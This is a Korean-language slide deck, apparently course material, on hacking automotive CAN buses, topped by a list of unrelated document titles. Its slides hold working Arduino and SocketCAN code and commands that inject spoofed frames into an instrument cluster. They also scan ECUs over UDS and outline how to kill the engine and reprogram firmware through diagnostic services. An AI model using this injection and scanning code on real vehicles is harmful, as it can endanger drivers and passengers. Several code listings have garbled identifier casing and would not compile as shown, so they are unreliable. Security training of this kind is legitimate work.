슬라이드 1

Similar documents
<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

SRC PLUS 제어기 MANUAL

Motor

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft PowerPoint - es-arduino-lecture-03

DSP_MON 프로그램 메뉴얼

CAN-fly Quick Manual

Microsoft Word - PEB08_USER_GUIDE.doc

PowerPoint 프레젠테이션

고급 프로그래밍 설계

untitled

이 발명을 지원한 국가연구개발사업 과제고유번호 부처명 지식경제부 연구사업명 IT 융합 고급인력과정 지원사업 연구과제명 스마트 자동차를 위한 AUTOSAR 기반 차량 내외부 통신 플랫폼 및 응용기술 주관기관 정보통신산업진흥원 연구기간


hd1300_k_v1r2_Final_.PDF

untitled

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

BY-FDP-4-70.hwp

슬라이드 1

6주차.key

bn2019_2

T100MD+

이도경, 최덕재 Dokyeong Lee, Deokjai Choi 1. 서론

Microsoft PowerPoint - polling.pptx

PowerPoint 프레젠테이션

목 차 Ⅰ. 정보기술의 환경 변화 Ⅱ. 차량-IT Convergence Ⅲ. 차량 센서 연계 서비스 Ⅳ. 차량-IT 융합 발전방향

[8051] 강의자료.PDF

PowerPoint 프레젠테이션

DTS-L300-V2 Specification Page 1 of 14 비접촉온도측정 원거리온도측정 High Accuracy Digital Interface : SPI Arduino UNO 예제코드제공 제품설명 DTS-L300-V2는접촉을하지않고원하는물체표면에온도를 50

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MR-3000A-MAN.hwp

untitled

CPX-E-EC_BES_C_ _ k1

MAX+plus II Getting Started - 무작정따라하기


API 매뉴얼

개요

MPLAB C18 C

ez-md+_manual01

untitled

lecture4(6.범용IO).hwp

PowerPoint Presentation

1 1. INTRODUCTION 2 2. DOWNLOAD Windows Desktop & Server Max OS X, Linux, Windows CE 2 3. API REFERENCE CAN_OpenVcp CAN_Op

0806 블랙박스 메뉴얼 L5 원고작업_수정

02 C h a p t e r Java

CAN 통신

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

Smart Power Scope Release Informations.pages

1217 WebTrafMon II

Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로 SD 카드리더기 HDM I 케이블모니터

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

3장 ION M74 자동변속기.ppt

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3


FTTH 기술발표


TCP.IP.ppt

PowerPoint 프레젠테이션

Microsoft PowerPoint - Java7.pptx

KT AI MAKERS KIT 사용설명서 (Node JS 편).indd

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

Orcad Capture 9.x

RaspberryPi 시리얼통신 1 제 08 강 시리얼통신제어 시리얼통신시리얼모니터링루프백시리얼통신 Win. PC와의시리얼통신가상머신과의시리얼통신아두이노보드와의시리얼통신 KUT51보드와의시리얼통신

10.

歯FDA6000COP.PDF

ATmega128

KEY 디바이스 드라이버

Multi Channel Analysis. Multi Channel Analytics :!! - (Ad network ) Report! -! -!. Valuepotion Multi Channel Analytics! (1) Install! (2) 3 (4 ~ 6 Page

PowerPoint 프레젠테이션

The Pocket Guide to TCP/IP Sockets: C Version

PowerPoint 프레젠테이션

Microsoft Word - KPMC-400,401 SW 사용 설명서

Formatvorlage für Arbeitsanweisungen

USB2CAN USB2CAN-UART USB2CAN-FIFO API Reference Manual Copyright NTREXLAB

Microsoft PowerPoint - RPino-GOGO_datasheet.pptx

슬라이드 1

PowerPoint Presentation

Microsoft Word - ASG AT90CAN128 모듈.doc

2 PX-8000과 RM-8000/LM-8000등의 관련 제품은 시스템의 간편한 설치와 쉬운 운영에 대한 고급 기술을 제공합니다. 또한 뛰어난 확장성으로 사용자가 요구하는 시스템을 손쉽게 구현할 수 있습니다. 메인컨트롤러인 PX-8000의 BGM입력소스를 8개의 로컬지

[ 네트워크 1] 3 주차 1 차시. IPv4 주소클래스 3 주차 1 차시 IPv4 주소클래스 학습목표 1. IP 헤더필드의구성을파악하고요약하여설명할수있다. 2. Subnet ID 및 Subnet Mask 를설명할수있고, 각클래스의사용가능한호스트수와사설 IP 주소및네트

Remote UI Guide

CPX-E-PB_BES_C_ _ k1

E010 CYLINDER BLOCK GROUP (0 01) 76

() Aloha Netowrk ether(,, )network Ehternet, DEC, ( DIX(DEC, Intel, Xerox) IEEE(, ) 5 9,, (Xerox) (Bob Metcalfe), (, ) A

PowerPoint 프레젠테이션

ISP and CodeVisionAVR C Compiler.hwp

4 CD Construct Special Model VI 2 nd Order Model VI 2 Note: Hands-on 1, 2 RC 1 RLC mass-spring-damper 2 2 ζ ω n (rad/sec) 2 ( ζ < 1), 1 (ζ = 1), ( ) 1

Parameterization

PowerPoint 프레젠테이션

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A634C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

BC6HP Korean.ai

Microsoft Word - DTM-M300_Spec_V1_0.doc

Microsoft Word - CL5000,5500_KOR_UM_ _.doc

Microsoft PowerPoint - 조달 제안서_ [호환 모드]

2009년2학기 임베디드시스템 응용

SMB_ICMP_UDP(huichang).PDF

歯DCS.PDF

BC6DX Korean.ai

Transcription:

자동차 CANBUS 해킹정구홍 @BoB

CAN-Bus hacking

Summary About CANBUS Arduino Essential CANBUS Hacking Practice Real CANBUS Hacking

CAN 통신이란? Controller Area Network 차량내장치들의통신을위해설계된표준통신규격 1983 년 Bosch 社에의해개발 1993 년에국제표준으로제정 (ISO 11898) 차량전용통신프로토콜이었지만, 최근에는차량뿐만아니라산업용자동화기기나의료용장비에서도사용되고있음 속도 : Maximum 1Mbps 길이 : Maximum 1km (50Kbps mode)

CAN Bus 란? CAN 에다수의 Node(ECU) 들이연결된구조

CAN Message 의특징 각메시지는자신의고유 ID 를가짐 이고유 ID 는곧수신대상장비의종류를의미함 메시지충돌시 ID 를통하여우선순위결정 낮을수록우선순위가높음 CAN 네트워크안의모든 Node(ECU) 들이메시지를수신함 즉, Address 정보가따로없음 자신에게필요한메시지일경우수신 (ID check), 아닐경우무시

ECU 란? ECU = Electronic Control Unit 차량내의각부품들에들어있는컴퓨터장치를의미 Engine Telematics Head Unit(AVN) Transmission Airbag Remote Key Steering Brake 등하나의차량안에 30~70 종류의 ECU 들이포함되어있음 각장치들에맞는역할및 CAN Message 송수신기능을함 참고 : Engine Control Unit 의약자역시 ECU 과거엔 ECU 라고하면 Engine Control Unit 을의미했었지만, 현재는 Electronic Control Unit 의의미로일반화되었음

주요 ECU 종류들 이름 ECU TCU TCU DCU SCU CLS EDR PCM BCM HVAC TDM 의미 Engine Control Unit (ECM = Engine Control Module) Telematics Control Unit Transmission control unit (TCM) Door control unit Speed control unit Central Locking Systems Event Data Recorder Parking Assist Module Body Control Module Heating, Ventilation, Air Conditioning Theft Deterrent Module

CAN 통신의문제점 CAN 네트워크안의한장비가모든 CAN 패킷들을볼수있음 (Sniffing) CAN 네트워크안의한장비가다른장비인것처럼속일수있음 (Injection) 별도의인증체계가존재하지않음

CANBUS Hacking 실습 (1) Arduino 기초 (2) CANBUS에연결하기 (3) CAN Message 송신하기 (4) CAN Message 수신하기

CANBUS 해킹의필요성 자동차해킹의기본상식 CANBUS 해킹가능성을증명할때필요 EX> Arbitrary CAN Message Sending 자동차해킹 Demo 를보일때필요 EX> 컨설팅, 찰리밀러, KEEN 팀의시연 DIY 장비개발가능 EX> 차량스캐너 (ELM327, 몬스터게이지 )

Arduino 기초

아두이노란? 2005 년이탈리아의한대학원 (IDII) 에서개발된하드웨어개발오픈소스플랫폼 통합개발환경 (IDE) 사용이매우쉬움 펌웨어업로딩이매우쉬움 (USB) 하드웨어구매비용이저렴함 (4000 원 ~) 다양한기본예제코드존재 커뮤니티및라이브러리생태계가활성화되어있음

다운로드및설치 https://www.arduino.cc/en/main/software

보드및포트설정

LED 점멸테스트 // 초기화함수 void setup() { // 13 번핀을출력모드로설정 pinmode(13, OUTPUT); } // main loop 함수 void loop() { digitalwrite(13, HIGH); // LED-on delay(3000); // 3초 delay digitalwrite(13, LOW); // LED-off delay(3000); // 3초 delay }

펌웨어업로딩

Serial 출력실습 void setup() { Serial.begin(9600); } void loop() { Serial.print("A"); delay(1000); }

Serial 입력실습 void setup() { Serial.begin(9600); Serial.println("RX test Start!"); } void loop() { char ch; } if (Serial.available()) { ch = Serial.read(); Serial.print("RX : "); Serial.println(ch, HEX); }

CAN BUS Hacking 하기

CAN BUS Hacking 하기 Instrument Cluster of BMW E46

E46 Pinmap 26-pin Dual Row Black Connector 1 : Ground (0v) 5 : On and Start VCC (+12v) 참고 : https://www.bmwgm5.com/bmwgm5/e46_ike_connections.htm http://tsharp.me.uk/project-documentation/e46-cluster-pinout/

ex> 13 : Oil (gnd) E46 Pinmap

CAN Bus Lines CAN Bus High (9) CAN Bus Low (10)

CAN Bus Lines Twist Pair, Differential Signal ( 차동신호 ) 통신방식 Noise 에강함

CAN 통신장비 Digital 신호를 CAN 통신신호로변환해줌 Shield 방식의 CAN 통신모듈 아두이노와쉽게연결가능 하지만연결방법을안다면굳이비싼모듈을살필요가없음!

CAN 통신장비 Shield 가아닌작은 Module 형태의장비 Shield 대비훨씬저렴함 http://itempage3.auction.co.kr/detailview.aspx?itemno=b493918547 품절시 mcp2515 로검색

CAN 모듈 <-> 아두이노연결 CAN 모듈 아두이노 용도 VCC 5V 전원 (+) GND GND 전원 (-) INT 2번핀 CAN 패킷수신시인터럽트발생 CS 9번핀 Chip Select (SPI 채널선택 ) SI 11번핀 Master(Arduino) -> Slave 신호 SO 12번핀 Slave -> Master 신호 SCK 13번핀 SPI Clock 참고 : http://www.14core.com/wiring-the-mcp2515-controller-areanetwork-can-bus-diagnostics/

SPI 통신프로토콜 SPI 란? 주변장치와의시리얼통신인터페이스 Full Duplex 마스터 - 슬레이브구조 Clock 을이용한동기화 핀설명 SCLK : clock MOSI : master out slave in MISO : master in slave out SS : slave select (active low)

MCP2515 통신 Library https://github.com/seeed-studio/can_bus_shield https://github.com/flori1989/mcp2515_lib forked 버전 8Mhz 지원

Library 설치

CAN Message 수신 (Sniffing) #include <mcp_can.h> #include <SPI.h> long unsigned int rxid; unsigned char len = 0; unsigned char rxbuf[8]; MCP_CAN CAN0(9); // Set CS to pin 9 void setup() { Serial.begin(115200); if(can0.begin(can_500kbps, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n"); else Serial.print("Can init fail!!\r\n"); pinmode(2, INPUT); // Setting pin 2 for /INT input Serial.println("MCP2515 Library Receive Example..."); } void loop() { if(!digitalread(2)) { CAN0.readMsgBuf(&len, rxbuf); rxid = CAN0.getCanId(); Serial.print("ID: "); Serial.print(rxId, HEX); Serial.print(" Data: "); for(int i = 0; i<len; i++) { if(rxbuf[i] < 0x10) { Serial.print("0"); } Serial.print(rxBuf[i], HEX); Serial.print(" "); } Serial.println(); } } // If pin 2 is low, read receive buffer // Read data: len = data length, buf = data byte(s) // Get message ID // Print each byte of the data // If data byte is less than 0x10, add a leading zero

CAN Bus Lines CAN Bus High (9) <-> H 핀 CAN Bus Low (10) <-> L 핀

CAN Message 수신 (Sniffing)

문제! 클러스터로부터주기적으로출력되는패킷들중 0x613 ID 를가진패킷의의미를분석해보세요.

CAN Message 송신 https://www.bimmerforums.com/forum/showthread. php?1887229-e46-can-bus-project

CAN Message 송신 예제 -> MCP2515_lib_master -> send // demo: CAN-BUS Shield, send data #include <mcp_can.h> #include <SPI.h> MCP_CAN CAN0(9); // Set CS to pin 9 void setup() { Serial.begin(115200); // init can bus, baudrate: 500k if(can0.begin(can_500kbps, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n"); else Serial.print("Can init fail!!\r\n"); } // 25 per 1000 RPM unsigned char stmp[8] = { 0x00, 0x00, 0xFF, 25*3, 0x00, 0x00, 0x00, 0x00 }; void loop() { // send data: id = 0x00, standrad flame, data len = 8, stmp: data buf CAN0.sendMsgBuf(0x316, 0, 8, stmp); delay(10); // send data per 100ms }

문제! 엔진경고등을켜보세요

문제! 온도계의값을올려보세요.

계기판의활용 (?) https://www.youtube.com/watch?v=vuxnxpwh6do https://www.youtube.com/watch?v=rkys8xebcne

계기판의활용 (?) https://www.youtube.com/watch?v=v4hai3csb8q https://www.youtube.com/watch?v=ug3cbcrixsi

자동차로가즈아! (1 차 ) CAN Packet Sniffing CAN Packet Injection 클러스터제어하기

라즈베리파이 3 + Linux + CAN 통신

Linux + CAN 통신 Arduino CAN 통신의문제점 다량의 CAN Packet 수신시정상처리불가 다량의누락패킷발생 실시간출력이되지않음 SocketCAN Linux 기반의 CAN 통신드라이버 Linux Kernel 2.6.25 이후기본포함 네트워크소켓형태로 CAN 버스접근가능

CAN Packet 누락예시 * 출처 : http://orasman.tistory.com/282

라즈베리파이 + CAN 통신 Raspberry Pi CANBUS Shield 라즈베리파이위에장착하여 CAN 통신가능 역시 CAN 모듈사용법을안다면굳이살필요가없음

CAN 모듈 <-> RasPi3 연결 CAN 모듈 VCC GND INT CS SI SO SCK RasPi3 5V GND GPIO25 SPI_CE0 SPI_MOSI SPI_MISO SPI_CLK

CAN 디바이스설정 # apt-get update # apt-get upgrade # vi /boot/config.txt dtparam=spi=on dtoverlay=mcp2515-can0,oscillator=8000000,interrupt=25 dtoverlay=spi-bcm2835 # reboot # ip link set can0 up type can bitrate 500000

CAN Packet Dump # apt-get install can-utils # candump can0

CAN Packet Dump # cansniffer can0 CAN 패킷들을 ID 별로분류하여볼수있음

CAN Packet Injection cansend ID#DATA 엔진점검등켜기 cansend 545#0200000000000000 Python 이나 C 언어를이용하여빠르게연속적으로보내야함

CAN Message 의구조

CAN Message 의구조 필드 의미 SOF Start of Frame, CAN Message 전송시작을알림 Identifier ID 값, 메시지의종류를나타내며, 낮을수록우선순위가높아짐 RTR CAN Message의타입결정 : 데이터프레임 (0) or 원격요청프레임 (1) IDE Identifier Extension, 1일경우확장 CAN 식별자사용 R0 Reserved DLC Data Length Code, 데이터의길이 Data CAN Message 데이터 CRC Checksum 오류검출 ACK 오류없는메시지전송확인 EOF End of Frame, CAN Message의끝을알림, 7개의 1로구성 (1111111) IFS Inter Frame Space, 3개의 1로구성 (111)

CAN signal sniffing TXCAN, RXCAN 레벨 Saleae Logic Analyzer 툴이용

CAN signal sniffing Start of Frame 부분 564 = 0x234 = 01000110100 RTR IDE R0 1 0 0 0

CAN signal sniffing End of Frame 부분 26544 = 0x67B0 = 110011110110000 ACK

CAN signal sniffing CANH, CANL 레벨의 Differential signal sniffing

CAN Bus Controller VS CAN Bus Transceiver

CAN Bus Controller 기능 CAN 통신을처리하는프로세서 CAN Message Frame 구성 CAN Message 동기화 Error 탐지및처리 주요 Controller MCP2515 (Microchip) http://ww1.microchip.com/downloads/en/devicedoc/21801f.pdf SJA1000 (NXP) https://www.nxp.com/documents/data_sheet/sja1000.pdf

CAN Bus Transceiver 기능 Digital 신호레벨을 CAN Bus 신호레벨로변환 주요 Transceiver TJA1040, TJA1050 (NXP) MCP2551 (NXP) PCA82C250 ( 필립스 )

Flow of CAN Message

문제! 주어진보드에서 Controller 와 Transceiver 를찾아보세요.

CAN Packet Samples https://community.comma.ai/cabana/?demo=1

올뉴모닝 Cluster 연결

올뉴모닝 Cluster 연결 전원용어 의미 B+ 상시전원 ACC (Accessory) IGN (Ignition, 점화 ) KEY 1 단 KEY 2 단

올뉴모닝 Cluster 연결

Airbag Control Unit 연결

Airbag Control Unit 연결 커넥터기준이므로반대로연결

Airbag Control Unit 연결

Engine Control Unit 연결

Engine Control Unit 연결

Engine Control Unit 연결

Body Control Module 정비지침서 전장회로도

차량진단 (Diagnostic)

차량진단표준 OBD-II On Board Diagnostics ISO 15765-4 UDS Unified Diagnostic Services ISO 14229 모두 CANBus 에대한표준 Sub Protocols

OBD-II 란? OBD : On Board Diagnostics OBD-II : 기존 OBD-I 의차기버전 차량진단을위한표준규약 모든자동차제조사가이표준을따라야함 우리나라는 2007 년도이후로의무장착 RPM, 속도, 배터리전압, 고장코드등의정보를얻을수있음 Query/Response 방식으로작동 Standard Query ID : 0x7DF Response ID : 0x7E8

OBD-II 프로토콜의표준화 서로상이한프로토콜존재 SAE J1850 SAE J1939 ISO 9141-2 ISO 14230 2008 년에국제표준화됨 ISO 15765-4

OBD-II Modes https://en.wikipedia.org/wiki/obd-ii_pids

OBD-II PIDs https://en.wikipedia.org/wiki/obd-ii_pids

차량의속도 Query 하기 #include <mcp_can.h> #include <SPI.h> long unsigned int rxid; unsigned char len = 0; unsigned char rxbuf[8]; MCP_CAN CAN0(9); // Set CS to pin 9 void setup() { Serial.begin(115200); CAN0.begin(CAN_500KBPS, MCP_8MHz); pinmode(2, INPUT); } // init can bus : baudrate = 500k // Setting pin 2 for /INT input void loop() { unsigned char stmp[8] = { 0x02, 0x01, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00 }; unsigned int speed; } while(1){ CAN0.sendMsgBuf(0x7DF, 0, 8, stmp); } while(1){ if(!digitalread(2)) { CAN0.readMsgBuf(&len, rxbuf); rxid = CAN0.getCanId(); if(rxid == 0x7E8 && rxbuf[2] == 0x0d) { speed = rxbuf[3]; Serial.print("Speed : "); Serial.println(speed); break; } } } delay(1000); // Read data: len = data length, buf = data byte(s) // Get message ID [Query] ID : 0x7DF Length : 0x02 Mode : 0x01 PID : 0x0D [Response] ID : 0x7E8 Length Mode : 0x41 PID : 0x0D DATA

Request 성공 vs 실패 성공 Length + ( 보낸값 + 0x40) + Parameter 실패 Length + 0x7F + 실패이유 + Parameter https://automotive.wiki/index.php/iso_14229

차량의 OBD-II 포트와연결하기 OBD-II Cable 빨강 (CAN H) 흰색 (CAN L) 검정 (GND) DLC(Data Link Connector) 차량쪽

OBD-II 관련제품 https://ko.aliexpress.com/item/2017-100-original-new-arrival-xtool- U485-Eobd2-OBD2-CAN-BUS-Auto-Diagnostic-Scanner-Live- Data/32796565103.html

OBD-II 관련제품 http://itempage3.auction.co.kr/detailview.aspx?item No=B339256620

OBD-II 관련제품 ELM327 기반의스마트폰 APP (EX. RealDash)

OBD-II 관련제품 http://itempage3.auction.co.kr/detailview.aspx?item No=A968350213

DTC 란? DTC(Diagnostic Trouble Code) 하나의알파벳 + 4 자리숫자로구성 (ex. P0301) 알파벳 = 어디서문제가발생했는지표시 P - Powertrain ( 엔진, 미션 ) B - Body Control Module ( 몸체 ) C Chassis ( 새시 ) 4 자리숫자 = 고장의원인표시 http://www.obdiicsu.com/obd-ii- 데이터 - 오류 - 코드

UDS diagnostic 이란? Unified Diagnostic Services ISO 14229 표준 OBD-II 와는또다른진단기능들을사용가능 Ex> ECU Reset, Firmware 업로드 / 다운로드가능 https://en.wikipedia.org/wiki/unified_di agnostic_services

UDS diagnostic

CAN Packet 훔치기

UDS Scanning // Diagnostic Session Control Packet(0x10) unsigned char stmp[8] = { 0x02, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 }; for(id=0x780; id<0x800; id++) { // CAN 패킷전송 CAN0.sendMsgBuf(id, 0, 8, stmp); CAN0.readMsgBuf(&len, rxbuf); // Read data: len = data rxid = CAN0.getCanId(); // Get message ID // ID 가 id+8 이라면탐지 if(rxid == (id+8)) {

UDS Scanning 실제차량 ( 올뉴모닝 ) 에대한 Scanning 결과

Ex> 7E0 = PCM(ECM) http://juchems.com/servicemanuals/viewfile3f27.pdf?dir=1029&viewfile=module%20con figuration.pdf%5d

Security Access Request Security Access (Step1) 0x02 0x27 0x01 Response : Random SEED (Challenge Value) Controller와 Tester가서로같은암호화 Key를가지고있어야함 이 Random SEED를암호화하여다시 Controller로전송 ( 맞을시인증성공 )

UDS + Kill Engine RoutineControl 을통해강제엔진정지가능

Firmware Re-Programming 세션생성 DiagnosticSessionControl 권한요청 SecurityAccess Programming 요청 RequestDownload Data 전송 TransferData Data 전송종료 RequestTransferExit

Length 정보분석하기 0x7E0 03 AA BB CC 00 00 ISO-TP 표준 : CAN bus packet 에서의 length 값해석규약 0 Single Frame 단일패킷, 다음 4 비트를 length 로해석 1 First Frame 멀티패킷의첫패킷, 다음 12 비트를 length 로해석 2 Consecutive Frame 멀티패킷의나머지패킷, 다음 4 비트를 offset 으로해석 3 Flow Control Frame First Frame Packet 에대한 acknowledgement can0 7E0#10FF36C000000004 can0 7E8#3000005555555555 can0 7E0#217F000000000280 can0 7E0#22007F0080000000 can0 7E0#2300000000000000 can0 7E0#243145434B443531 can0 7E0#254C303300000000 can0 7E0#2600000000010000 can0 7E0#270043174F26C004 can0 7E0#28020000000080FF

Multi Packet Example

자동차로가즈아! (2 차 ) 라즈베리파이3 + CAN 통신 OBD-II 진단장비사용해보기 차량의 Speed Query하기 DIY LED Strip 감상하기 UDS Scanning 하기

차량내네트워크의종류 용도, 전송속도에따라서로독립적인네트워크사용 클래스용도프로토콜속도 A Class 편의기능, 고급기능 - 거울조정, 썬루프등 LIN 20kbps 이하 B Class 일반적인정보들 - 파워윈도우, 좌석조절 LS(Low Speed) CAN 10~125kbps C Class 실시간제어정보들 - 엔진, 변속, ABS HS(High Speed) CAN 125~1Mbps D Class 멀티미디어정보 - 디지털 TV, 인터넷 MOST, FlexRay Ethernet 1Mbps 이상

전장회로도 GSW GSW (global service way) 정비매뉴얼, 회로도, 코드별진단가이드등제공 현대 https://gsw.hyundai.com 기아 https://gsw.kia.com

전장회로도 GSW

전장회로도 GSW

전장회로도 GSW

자.. 잠깐..! CAN B 와 CAN C 가동시에연결된모듈존재 CAN B 를통해해당모듈의펌웨어를강제업데이트한후, CAN C 에접근할수있음을시사

대상차량의 CAN Bus 는? 속도를통해유추가능 500Kbps => C Class 전장회로도사이트를통해확인가능 => C-CAN

OBD-II + LED Strip =? https://www.youtube.com/watch?v=gcdvvvzvvno

배기가스점검 light 켜기 // demo: CAN-BUS Shield, send data #include <mcp_can.h> #include <SPI.h> MCP_CAN CAN0(9); // Set CS to pin 10 void setup() { Serial.begin(115200); // init can bus, baudrate: 500k if(can0.begin(can_500kbps, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n"); else Serial.print("Can init fail!!\r\n"); } unsigned char stmp[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; void loop() { int i; stmp[0] = 2; for(i=0; i<100; i++){ CAN0.sendMsgBuf(0x545, 0, 8, stmp); delay(10); // send data per 100ms } stmp[0] = 0; for(i=0; i<100; i++){ CAN0.sendMsgBuf(0x545, 0, 8, stmp); delay(10); // send data per 100ms } }

CAN Message 송신 예제 -> MCP2515_lib_master -> send // demo: CAN-BUS Shield, send data #include <mcp_can.h> #include <SPI.h> MCP_CAN CAN0(9); // Set CS to pin 10 void setup() { Serial.begin(115200); // init can bus, baudrate: 500k if(can0.begin(can_500kbps, MCP_8MHz) == CAN_OK) Serial.print("can init ok!!\r\n"); else Serial.print("Can init fail!!\r\n"); } unsigned char stmp[8] = { 0x00, 0xAB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; void loop() { // send data: id = 0x00, standrad flame, data len = 8, stmp: data buf CAN0.sendMsgBuf(0x329, 0, 8, stmp); delay(10); // send data per 100ms }

CAN Packet Samples https://community.comma.ai/cabana/?demo=1

Q/A

감사합니다!